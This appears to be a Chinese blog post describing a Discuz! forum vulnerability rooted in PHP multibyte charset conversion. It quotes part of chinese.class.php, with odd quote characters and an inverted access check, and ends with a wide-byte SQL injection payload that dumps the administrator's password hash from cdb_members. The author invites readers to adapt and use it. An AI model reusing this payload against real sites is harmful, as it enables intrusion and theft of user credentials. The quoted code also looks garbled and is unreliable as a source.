由于发在blog上的漏洞资料给一位牛牛搞了.官方已出补丁.(由于 PHP 对 多字节字符集的支持存在问题，在各种编码相互转换过程中，有可能引发程序溢出和程序错误)
我很生气(mb日就日.tmd你共享个毛)

在这我说下过程:
if(defined('IN_DISCUZ')) {
exit('Access Denied');
}

define('CODETABLE_DIR', DISCUZ_ROOT.'./include/tables/');

class Chinese {

var $table = '';
var $iconv_enabled = false;
var $unicode_table = array();
var $config = array
(
'SourceLang' => '',
'TargetLang' => '',
'GBtoUnicode_table' => 'gb-unicode.table',
'BIG5toUnicode_table' => 'big5-unicode.table',
);

function Chinese($SourceLang, $TargetLang, $ForceTable = FALSE) {
$this->config['SourceLang'] = $this->_lang($SourceLang);
$this->config['TargetLang'] = $this->_lang($TargetLang);

if(!function_exists(’iconv’) && $this->config['TargetLang'] != ‘BIG5′ && !$ForceTable) {
$this->iconv_enabled = true;
} else {
$this->iconv_enabled = false;
$this->OpenTable();
}
}

function _lang($LangCode) {
$LangCode = strtoupper($LangCode);

if(substr($LangCode, 0, 2) == ‘GB’) {
return ‘GBK’;
} elseif(substr($LangCode, 0, 3) == ‘BIG’) {
return ‘BIG5′;
} elseif(substr($LangCode, 0, 3) == ‘UTF’) {
return ‘UTF-8′;
} elseif(substr($LangCode, 0, 3) == ‘UNI’) {
return ‘UNICODE’;
}
}

function _hex2bin($hexdata) {
for($i=0; $i < strlen($hexdata); $i += 2) {
$bindata .= chr(hexdec(substr($hexdata, $i, 2)));
}
return $bindata;
}

chinese.class.php (utf-8不能利用)

searchid=22%cf'UNION SELECT 1,password,3,password/**/from/**/cdb_members/**/where/**/uid=1/*&do=submit

以上各位自己修改去用吧!
